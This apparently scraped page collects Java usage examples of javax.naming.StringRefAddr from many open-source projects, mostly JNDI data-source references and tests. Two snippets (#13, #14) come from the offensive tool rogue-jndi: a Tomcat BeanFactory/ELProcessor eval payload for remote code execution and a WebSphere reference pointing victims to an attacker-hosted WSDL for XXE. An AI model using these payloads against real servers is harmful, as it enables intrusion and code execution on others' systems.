javax.naming.StringRefAddr Java Examples
The following examples show how to use
javax.naming.StringRefAddr.
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: TestFactory.java From commons-dbcp with Apache License 2.0 | 6 votes |
@Test public void testJNDI2Pools() throws Exception { final Reference refObj = new Reference(SharedPoolDataSource.class.getName()); refObj.add(new StringRefAddr("dataSourceName","java:comp/env/jdbc/bookstoreCPDS")); final Context context = new InitialContext(); final Hashtable<?, ?> env = new Hashtable<>(); final ObjectFactory factory = new SharedPoolDataSourceFactory(); final Name name = new CompositeName("myDB"); final Object obj = factory.getObjectInstance(refObj, name, context, env); assertNotNull(obj); final Name name2 = new CompositeName("myDB2"); final Object obj2 = factory.getObjectInstance(refObj, name2, context, env); assertNotNull(obj2); }
Example #2
Source File: ObjectFactoryTest.java From activemq-artemis with Apache License 2.0 | 6 votes |
@Test public void testJndiSslParameters() throws Exception { Reference reference = new Reference(ActiveMQConnectionFactory.class.getName(), JNDIReferenceFactory.class.getName(), null); reference.add(new StringRefAddr("brokerURL", "(tcp://localhost:61616,tcp://localhost:5545,tcp://localhost:5555)?sslEnabled=false&trustStorePath=nopath")); reference.add(new StringRefAddr(TransportConstants.SSL_ENABLED_PROP_NAME, "true")); reference.add(new StringRefAddr(TransportConstants.TRUSTSTORE_PATH_PROP_NAME, "/path/to/trustStore")); reference.add(new StringRefAddr(TransportConstants.TRUSTSTORE_PASSWORD_PROP_NAME, "trustStorePassword")); reference.add(new StringRefAddr(TransportConstants.KEYSTORE_PATH_PROP_NAME, "/path/to/keyStore")); reference.add(new StringRefAddr(TransportConstants.KEYSTORE_PASSWORD_PROP_NAME, "keyStorePassword")); reference.add(new StringRefAddr("doesnotexist", "somevalue")); JNDIReferenceFactory referenceFactory = new JNDIReferenceFactory(); ActiveMQConnectionFactory cf = (ActiveMQConnectionFactory)referenceFactory.getObjectInstance(reference, null, null, null); URI uri = cf.toURI(); Map<String, String> params = URISupport.parseParameters(uri); Assert.assertEquals("true", params.get(TransportConstants.SSL_ENABLED_PROP_NAME)); Assert.assertEquals("/path/to/trustStore", params.get(TransportConstants.TRUSTSTORE_PATH_PROP_NAME)); Assert.assertEquals("trustStorePassword", params.get(TransportConstants.TRUSTSTORE_PASSWORD_PROP_NAME)); Assert.assertEquals("/path/to/keyStore", params.get(TransportConstants.KEYSTORE_PATH_PROP_NAME)); Assert.assertEquals("keyStorePassword", params.get(TransportConstants.KEYSTORE_PASSWORD_PROP_NAME)); Assert.assertNull(params.get("doesnotexist")); }
Example #3
Source File: MysqlDataSource.java From r-course with MIT License | 6 votes |
/** * Required method to support this class as a <CODE>Referenceable</CODE>. * * @return a Reference to this data source * * @throws NamingException * if a JNDI error occurs */ public Reference getReference() throws NamingException { String factoryName = "com.mysql.jdbc.jdbc2.optional.MysqlDataSourceFactory"; Reference ref = new Reference(getClass().getName(), factoryName, null); ref.add(new StringRefAddr(NonRegisteringDriver.USER_PROPERTY_KEY, getUser())); ref.add(new StringRefAddr(NonRegisteringDriver.PASSWORD_PROPERTY_KEY, this.password)); ref.add(new StringRefAddr("serverName", getServerName())); ref.add(new StringRefAddr("port", "" + getPort())); ref.add(new StringRefAddr("databaseName", getDatabaseName())); ref.add(new StringRefAddr("url", getUrl())); ref.add(new StringRefAddr("explicitUrl", String.valueOf(this.explicitUrl))); // // Now store all of the 'non-standard' properties... // try { storeToRef(ref); } catch (SQLException sqlEx) { throw new NamingException(sqlEx.getMessage()); } return ref; }
Example #4
Source File: JtdsDataSource.java From jTDS with GNU Lesser General Public License v2.1 | 6 votes |
public Reference getReference() { Reference ref = new Reference( getClass().getName(), JtdsObjectFactory.class.getName(), null ); Iterator it = _Config.entrySet().iterator(); while( it.hasNext() ) { Entry e = (Entry) it.next(); String key = (String) e.getKey(); String val = (String) e.getValue(); ref.add( new StringRefAddr( key, val ) ); } return ref; }
Example #5
Source File: JNDIReferenceFactory.java From qpid-jms with Apache License 2.0 | 6 votes |
/** * This will be called by a JNDIprovider when a Reference is retrieved from * a JNDI store - and generates the original instance * * @param object * the Reference object * @param name * the JNDI name * @param nameCtx * the context * @param environment * the environment settings used by JNDI * * @return the instance built from the Reference object * * @throws Exception * if building the instance from Reference fails (usually class not found) */ @Override public Object getObjectInstance(Object object, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Object result = null; if (object instanceof Reference) { Reference reference = (Reference) object; Class<?> theClass = loadClass(this, reference.getClassName()); if (JNDIStorable.class.isAssignableFrom(theClass)) { JNDIStorable store = (JNDIStorable) theClass.getDeclaredConstructor().newInstance(); Map<String, String> properties = new HashMap<String, String>(); for (Enumeration<RefAddr> iter = reference.getAll(); iter.hasMoreElements();) { StringRefAddr addr = (StringRefAddr) iter.nextElement(); properties.put(addr.getType(), (addr.getContent() == null) ? "" : addr.getContent().toString()); } store.setProperties(properties); result = store; } } else { throw new RuntimeException("Object " + object + " is not a reference"); } return result; }
Example #6
Source File: MysqlDataSource.java From Komondor with GNU General Public License v3.0 | 6 votes |
/** * Required method to support this class as a <CODE>Referenceable</CODE>. * * @return a Reference to this data source * * @throws NamingException * if a JNDI error occurs */ public Reference getReference() throws NamingException { String factoryName = "com.mysql.jdbc.jdbc2.optional.MysqlDataSourceFactory"; Reference ref = new Reference(getClass().getName(), factoryName, null); ref.add(new StringRefAddr(NonRegisteringDriver.USER_PROPERTY_KEY, getUser())); ref.add(new StringRefAddr(NonRegisteringDriver.PASSWORD_PROPERTY_KEY, this.password)); ref.add(new StringRefAddr("serverName", getServerName())); ref.add(new StringRefAddr("port", "" + getPort())); ref.add(new StringRefAddr("databaseName", getDatabaseName())); ref.add(new StringRefAddr("url", getUrl())); ref.add(new StringRefAddr("explicitUrl", String.valueOf(this.explicitUrl))); // // Now store all of the 'non-standard' properties... // try { storeToRef(ref); } catch (SQLException sqlEx) { throw new NamingException(sqlEx.getMessage()); } return ref; }
Example #7
Source File: DriverAdapterCPDS.java From commons-dbcp with Apache License 2.0 | 6 votes |
/** * Implements {@link Referenceable}. */ @Override public Reference getReference() throws NamingException { // this class implements its own factory final String factory = getClass().getName(); final Reference ref = new Reference(getClass().getName(), factory, null); ref.add(new StringRefAddr("description", getDescription())); ref.add(new StringRefAddr("driver", getDriver())); ref.add(new StringRefAddr("loginTimeout", String.valueOf(getLoginTimeout()))); ref.add(new StringRefAddr(KEY_PASSWORD, getPassword())); ref.add(new StringRefAddr(KEY_USER, getUser())); ref.add(new StringRefAddr("url", getUrl())); ref.add(new StringRefAddr("poolPreparedStatements", String.valueOf(isPoolPreparedStatements()))); ref.add(new StringRefAddr("maxIdle", String.valueOf(getMaxIdle()))); ref.add(new StringRefAddr("timeBetweenEvictionRunsMillis", String.valueOf(getTimeBetweenEvictionRunsMillis()))); ref.add(new StringRefAddr("numTestsPerEvictionRun", String.valueOf(getNumTestsPerEvictionRun()))); ref.add(new StringRefAddr("minEvictableIdleTimeMillis", String.valueOf(getMinEvictableIdleTimeMillis()))); ref.add(new StringRefAddr("maxPreparedStatements", String.valueOf(getMaxPreparedStatements()))); return ref; }
Example #8
Source File: NamingContextListener.java From tomcatsrc with Apache License 2.0 | 6 votes |
/** * Set the specified EJBs in the naming context. */ public void addEjb(ContextEjb ejb) { // Create a reference to the EJB. Reference ref = new EjbRef (ejb.getType(), ejb.getHome(), ejb.getRemote(), ejb.getLink()); // Adding the additional parameters, if any Iterator<String> params = ejb.listProperties(); while (params.hasNext()) { String paramName = params.next(); String paramValue = (String) ejb.getProperty(paramName); StringRefAddr refAddr = new StringRefAddr(paramName, paramValue); ref.add(refAddr); } try { createSubcontexts(envCtx, ejb.getName()); envCtx.bind(ejb.getName(), ref); } catch (NamingException e) { logger.error(sm.getString("naming.bindFailed", e)); } }
Example #9
Source File: NamingContextListener.java From tomcatsrc with Apache License 2.0 | 6 votes |
/** * Set the specified resources in the naming context. */ public void addResourceEnvRef(ContextResourceEnvRef resourceEnvRef) { // Create a reference to the resource env. Reference ref = new ResourceEnvRef(resourceEnvRef.getType()); // Adding the additional parameters, if any Iterator<String> params = resourceEnvRef.listProperties(); while (params.hasNext()) { String paramName = params.next(); String paramValue = (String) resourceEnvRef.getProperty(paramName); StringRefAddr refAddr = new StringRefAddr(paramName, paramValue); ref.add(refAddr); } try { if (logger.isDebugEnabled()) log.debug(" Adding resource env ref " + resourceEnvRef.getName()); createSubcontexts(envCtx, resourceEnvRef.getName()); envCtx.bind(resourceEnvRef.getName(), ref); } catch (NamingException e) { logger.error(sm.getString("naming.bindFailed", e)); } }
Example #10
Source File: NamingContextListener.java From Tomcat7.0.67 with Apache License 2.0 | 6 votes |
/** * Set the specified EJBs in the naming context. */ public void addEjb(ContextEjb ejb) { // Create a reference to the EJB. Reference ref = new EjbRef (ejb.getType(), ejb.getHome(), ejb.getRemote(), ejb.getLink()); // Adding the additional parameters, if any Iterator<String> params = ejb.listProperties(); while (params.hasNext()) { String paramName = params.next(); String paramValue = (String) ejb.getProperty(paramName); StringRefAddr refAddr = new StringRefAddr(paramName, paramValue); ref.add(refAddr); } try { createSubcontexts(envCtx, ejb.getName()); envCtx.bind(ejb.getName(), ref); } catch (NamingException e) { logger.error(sm.getString("naming.bindFailed", e)); } }
Example #11
Source File: DriverAdapterCPDS.java From Tomcat8-Source-Read with MIT License | 6 votes |
/** * Implements {@link Referenceable}. */ @Override public Reference getReference() throws NamingException { // this class implements its own factory final String factory = getClass().getName(); final Reference ref = new Reference(getClass().getName(), factory, null); ref.add(new StringRefAddr("description", getDescription())); ref.add(new StringRefAddr("driver", getDriver())); ref.add(new StringRefAddr("loginTimeout", String.valueOf(getLoginTimeout()))); ref.add(new StringRefAddr(KEY_PASSWORD, getPassword())); ref.add(new StringRefAddr(KEY_USER, getUser())); ref.add(new StringRefAddr("url", getUrl())); ref.add(new StringRefAddr("poolPreparedStatements", String.valueOf(isPoolPreparedStatements()))); ref.add(new StringRefAddr("maxIdle", String.valueOf(getMaxIdle()))); ref.add(new StringRefAddr("timeBetweenEvictionRunsMillis", String.valueOf(getTimeBetweenEvictionRunsMillis()))); ref.add(new StringRefAddr("numTestsPerEvictionRun", String.valueOf(getNumTestsPerEvictionRun()))); ref.add(new StringRefAddr("minEvictableIdleTimeMillis", String.valueOf(getMinEvictableIdleTimeMillis()))); ref.add(new StringRefAddr("maxPreparedStatements", String.valueOf(getMaxPreparedStatements()))); return ref; }
Example #12
Source File: TestBasicDataSourceFactory.java From commons-dbcp with Apache License 2.0 | 6 votes |
@Test public void testAllProperties() throws Exception { try { StackMessageLog.lock(); StackMessageLog.clear(); final Reference ref = new Reference("javax.sql.DataSource", BasicDataSourceFactory.class.getName(), null); final Properties properties = getTestProperties(); for (final Entry<Object, Object> entry : properties.entrySet()) { ref.add(new StringRefAddr((String) entry.getKey(), (String) entry.getValue())); } final BasicDataSourceFactory basicDataSourceFactory = new BasicDataSourceFactory(); final BasicDataSource ds = (BasicDataSource) basicDataSourceFactory.getObjectInstance(ref, null, null, null); checkDataSourceProperties(ds); checkConnectionPoolProperties(ds.getConnectionPool()); final List<String> messages = StackMessageLog.getAll(); assertEquals(0,messages.size()); } finally { StackMessageLog.clear(); StackMessageLog.unLock(); } }
Example #13
Source File: Tomcat.java From rogue-jndi with MIT License | 6 votes |
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { System.out.println("Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload"); Entry e = new Entry(base); e.addAttribute("javaClassName", "java.lang.String"); //could be any //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", payload)); e.addAttribute("javaSerializedData", serialize(ref)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
Example #14
Source File: WebSphere1.java From rogue-jndi with MIT License | 6 votes |
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { //get wsdl location from the url parameter String wsdl = Utilities.getDnParam(result.getRequest().getBaseDN(), "wsdl"); if(wsdl == null) wsdl = "http://" + Config.hostname + ":" + Config.httpPort + Config.wsdl; //get from config if not specified System.out.println("Sending Websphere1 payload pointing to " + wsdl); Entry e = new Entry(base); e.addAttribute("javaClassName", "java.lang.String"); //could be any //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory javax.naming.Reference ref = new Reference("ExploitObject", "com.ibm.ws.webservices.engine.client.ServiceFactory", null); ref.add(new StringRefAddr("WSDL location", wsdl)); ref.add(new StringRefAddr("service namespace","xxx")); ref.add(new StringRefAddr("service local part","yyy")); e.addAttribute("javaSerializedData", serialize(ref)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
Example #15
Source File: TestBasicDataSourceFactory.java From commons-dbcp with Apache License 2.0 | 6 votes |
@Test public void testValidateProperties() throws Exception { try { StackMessageLog.lock(); StackMessageLog.clear(); final Reference ref = new Reference("javax.sql.DataSource", BasicDataSourceFactory.class.getName(), null); ref.add(new StringRefAddr("foo", "bar")); // Unknown ref.add(new StringRefAddr("maxWait", "100")); // Changed ref.add(new StringRefAddr("driverClassName", "org.apache.commons.dbcp2.TesterDriver")); // OK final BasicDataSourceFactory basicDataSourceFactory = new BasicDataSourceFactory(); basicDataSourceFactory.getObjectInstance(ref, null, null, null); final List<String> messages = StackMessageLog.getAll(); assertEquals(2, messages.size(), messages.toString()); for (final String message : messages) { if (message.contains("maxWait")) { assertTrue(message.contains("use maxWaitMillis")); } else { assertTrue(message.contains("foo")); assertTrue(message.contains("Ignoring unknown property")); } } } finally { StackMessageLog.clear(); StackMessageLog.unLock(); } }
Example #16
Source File: NamingContextListener.java From Tomcat7.0.67 with Apache License 2.0 | 6 votes |
/** * Set the specified resources in the naming context. */ public void addResourceEnvRef(ContextResourceEnvRef resourceEnvRef) { // Create a reference to the resource env. Reference ref = new ResourceEnvRef(resourceEnvRef.getType()); // Adding the additional parameters, if any Iterator<String> params = resourceEnvRef.listProperties(); while (params.hasNext()) { String paramName = params.next(); String paramValue = (String) resourceEnvRef.getProperty(paramName); StringRefAddr refAddr = new StringRefAddr(paramName, paramValue); ref.add(refAddr); } try { if (logger.isDebugEnabled()) log.debug(" Adding resource env ref " + resourceEnvRef.getName()); createSubcontexts(envCtx, resourceEnvRef.getName()); envCtx.bind(resourceEnvRef.getName(), ref); } catch (NamingException e) { logger.error(sm.getString("naming.bindFailed", e)); } }
Example #17
Source File: JNDIReferenceFactory.java From activemq-artemis with Apache License 2.0 | 5 votes |
public static Properties getProperties(Reference reference) { Properties properties = new Properties(); for (Enumeration iter = reference.getAll(); iter.hasMoreElements();) { StringRefAddr addr = (StringRefAddr)iter.nextElement(); properties.put(addr.getType(), (addr.getContent() == null) ? "" : addr.getContent()); } return properties; }
Example #18
Source File: JNDIReferenceFactory.java From activemq-artemis with Apache License 2.0 | 5 votes |
/** * Create a Reference instance from a JNDIStorable object * * @param instanceClassName * The name of the class that is being created. * @param po * The properties object to use when configuring the new instance. * * @return Reference * * @throws NamingException if an error occurs while creating the new instance. */ public static Reference createReference(String instanceClassName, JNDIStorable po) throws NamingException { Reference result = new Reference(instanceClassName, JNDIReferenceFactory.class.getName(), null); try { Properties props = po.getProperties(); for (Enumeration iter = props.propertyNames(); iter.hasMoreElements();) { String key = (String)iter.nextElement(); result.add(new StringRefAddr(key, props.getProperty(key))); } } catch (Exception e) { throw new NamingException(e.getMessage()); } return result; }
Example #19
Source File: FBAbstractCommonDataSource.java From jaybird with GNU Lesser General Public License v2.1 | 5 votes |
/** * Updates the supplied reference with RefAddr properties relevant to this class. * * @param ref Reference to update * @param instance Instance of this class to obtain values */ protected static void updateReference(Reference ref, FBAbstractCommonDataSource instance) throws NamingException { synchronized (instance.lock) { ref.add(new StringRefAddr(REF_DESCRIPTION, instance.getDescription())); ref.add(new StringRefAddr(REF_SERVER_NAME, instance.getServerName())); if (instance.getPortNumber() != 0) { ref.add(new StringRefAddr(REF_PORT_NUMBER, Integer.toString(instance.getPortNumber()))); } ref.add(new StringRefAddr(REF_DATABASE_NAME, instance.getDatabaseName())); byte[] data = DataSourceFactory.serialize(instance.connectionProperties); ref.add(new BinaryRefAddr(REF_PROPERTIES, data)); } }
Example #20
Source File: ElasticSearchDruidDataSource.java From elasticsearch-sql with Apache License 2.0 | 5 votes |
public Reference getReference() throws NamingException { final String className = getClass().getName(); final String factoryName = className + "Factory"; // XXX: not robust Reference ref = new Reference(className, factoryName, null); ref.add(new StringRefAddr("instanceKey", instanceKey)); ref.add(new StringRefAddr("url", this.getUrl())); ref.add(new StringRefAddr("username", this.getUsername())); ref.add(new StringRefAddr("password", this.getPassword())); // TODO ADD OTHER PROPERTIES return ref; }
Example #21
Source File: ResourceParser.java From jqm with Apache License 2.0 | 5 votes |
private static JndiResourceDescriptor fromDatabase(String alias) throws NamingException { JndiObjectResource resource = null; try { if (!Helpers.isDbInitialized()) { throw new IllegalStateException("cannot fetch a JNDI resource from DB when DB is not initialized"); } try (DbConn cnx = Helpers.getNewDbSession()) { resource = JndiObjectResource.select_alias(cnx, alias); JndiResourceDescriptor d = new JndiResourceDescriptor(resource.getType(), resource.getDescription(), null, resource.getAuth(), resource.getFactory(), resource.getSingleton()); for (JndiObjectResourceParameter prm : resource.getParameters(cnx)) { d.add(new StringRefAddr(prm.getKey(), prm.getValue() != null ? prm.getValue() : "")); // null values forbidden (but equivalent to "" in Oracle!) } return d; } } catch (Exception e) { NamingException ex = new NamingException("Could not find a JNDI object resource of name " + alias); ex.setRootCause(e); throw ex; } }
Example #22
Source File: PerUserPoolDataSource.java From commons-dbcp with Apache License 2.0 | 5 votes |
/** * Returns a <code>PerUserPoolDataSource</code> {@link Reference}. */ @Override public Reference getReference() throws NamingException { final Reference ref = new Reference(getClass().getName(), PerUserPoolDataSourceFactory.class.getName(), null); ref.add(new StringRefAddr("instanceKey", getInstanceKey())); return ref; }
Example #23
Source File: SharedPoolDataSource.java From commons-dbcp with Apache License 2.0 | 5 votes |
/** * Returns a <code>SharedPoolDataSource</code> {@link Reference}. */ @Override public Reference getReference() throws NamingException { final Reference ref = new Reference(getClass().getName(), SharedPoolDataSourceFactory.class.getName(), null); ref.add(new StringRefAddr("instanceKey", getInstanceKey())); return ref; }
Example #24
Source File: TestDriverAdapterCPDS.java From commons-dbcp with Apache License 2.0 | 5 votes |
@Test public void testGetObjectInstanceChangeDescription() throws Exception { final Reference ref = pcds.getReference(); for (int i = 0; i < ref.size(); i++) { if (ref.get(i).getType().equals("description")) { ref.remove(i); break; } } ref.add(new StringRefAddr("description", "anything")); final Object o = pcds.getObjectInstance(ref, null, null, null); assertEquals(pcds.getDescription(), ((DriverAdapterCPDS) o).getDescription()); }
Example #25
Source File: JNDIReferenceFactoryTest.java From qpid-jms with Apache License 2.0 | 5 votes |
private Reference createTestReference(String className, String addressType, Object content) { Reference mockReference = mock(Reference.class); when(mockReference.getClassName()).thenReturn(className); RefAddr mockRefAddr = mock(StringRefAddr.class); when(mockRefAddr.getType()).thenReturn(addressType); when(mockRefAddr.getContent()).thenReturn(content); RefAddrTestEnumeration testEnumeration = new RefAddrTestEnumeration(mockRefAddr); when(mockReference.getAll()).thenReturn(testEnumeration); return mockReference; }
Example #26
Source File: MysqlDataSource.java From FoxTelem with GNU General Public License v3.0 | 5 votes |
/** * Required method to support this class as a <CODE>Referenceable</CODE>. * * @return a Reference to this data source * * @throws NamingException * if a JNDI error occurs */ @Override public Reference getReference() throws NamingException { String factoryName = MysqlDataSourceFactory.class.getName(); Reference ref = new Reference(getClass().getName(), factoryName, null); ref.add(new StringRefAddr(PropertyKey.USER.getKeyName(), getUser())); ref.add(new StringRefAddr(PropertyKey.PASSWORD.getKeyName(), this.password)); ref.add(new StringRefAddr("serverName", getServerName())); ref.add(new StringRefAddr("port", "" + getPort())); ref.add(new StringRefAddr("databaseName", getDatabaseName())); ref.add(new StringRefAddr("url", getUrl())); ref.add(new StringRefAddr("explicitUrl", String.valueOf(this.explicitUrl))); // // Now store all of the 'non-standard' properties... // for (PropertyKey propKey : PropertyDefinitions.PROPERTY_KEY_TO_PROPERTY_DEFINITION.keySet()) { RuntimeProperty<?> propToStore = getProperty(propKey); String val = propToStore.getStringValue(); if (val != null) { ref.add(new StringRefAddr(propToStore.getPropertyDefinition().getName(), val)); } } return ref; }
Example #27
Source File: SessionFactoryImpl.java From cacheonix-core with GNU Lesser General Public License v2.1 | 5 votes |
public Reference getReference() throws NamingException { log.debug("Returning a Reference to the SessionFactory"); return new Reference( SessionFactoryImpl.class.getName(), new StringRefAddr("uuid", uuid), SessionFactoryObjectFactory.class.getName(), null ); }
Example #28
Source File: LookupRef.java From Tomcat8-Source-Read with MIT License | 5 votes |
public LookupRef(String resourceType, String factory, String factoryLocation, String lookupName) { super(resourceType, factory, factoryLocation); if (lookupName != null && !lookupName.equals("")) { RefAddr ref = new StringRefAddr(LOOKUP_NAME, lookupName); add(ref); } }
Example #29
Source File: StringRefAddrReferenceTest.java From activemq-artemis with Apache License 2.0 | 5 votes |
public Reference from(Properties properties) { String type = (String) properties.remove("type"); String factory = (String) properties.remove("factory"); Reference result = new Reference(type, factory, null); for (Enumeration iter = properties.propertyNames(); iter.hasMoreElements();) { String key = (String)iter.nextElement(); result.add(new StringRefAddr(key, properties.getProperty(key))); } return result; }
Example #30
Source File: SecretPGXADataSourceFactoryTest.java From cia with Apache License 2.0 | 5 votes |
/** * Gets the object instance test. * * @return the object instance test * @throws Exception the exception */ @Test public void getObjectInstanceTest() throws Exception { final SecretPGXADataSource secretPGXADataSource = new SecretPGXADataSource(Mockito.mock(SecretCredentialsManager.class)); final SecretReference ref = (SecretReference) secretPGXADataSource.createReference(); ref.add(new StringRefAddr("serverName","192.168.1.1")); assertNotNull(new SecretPGXADataSourceFactory().getObjectInstance(ref, null,null, null)); }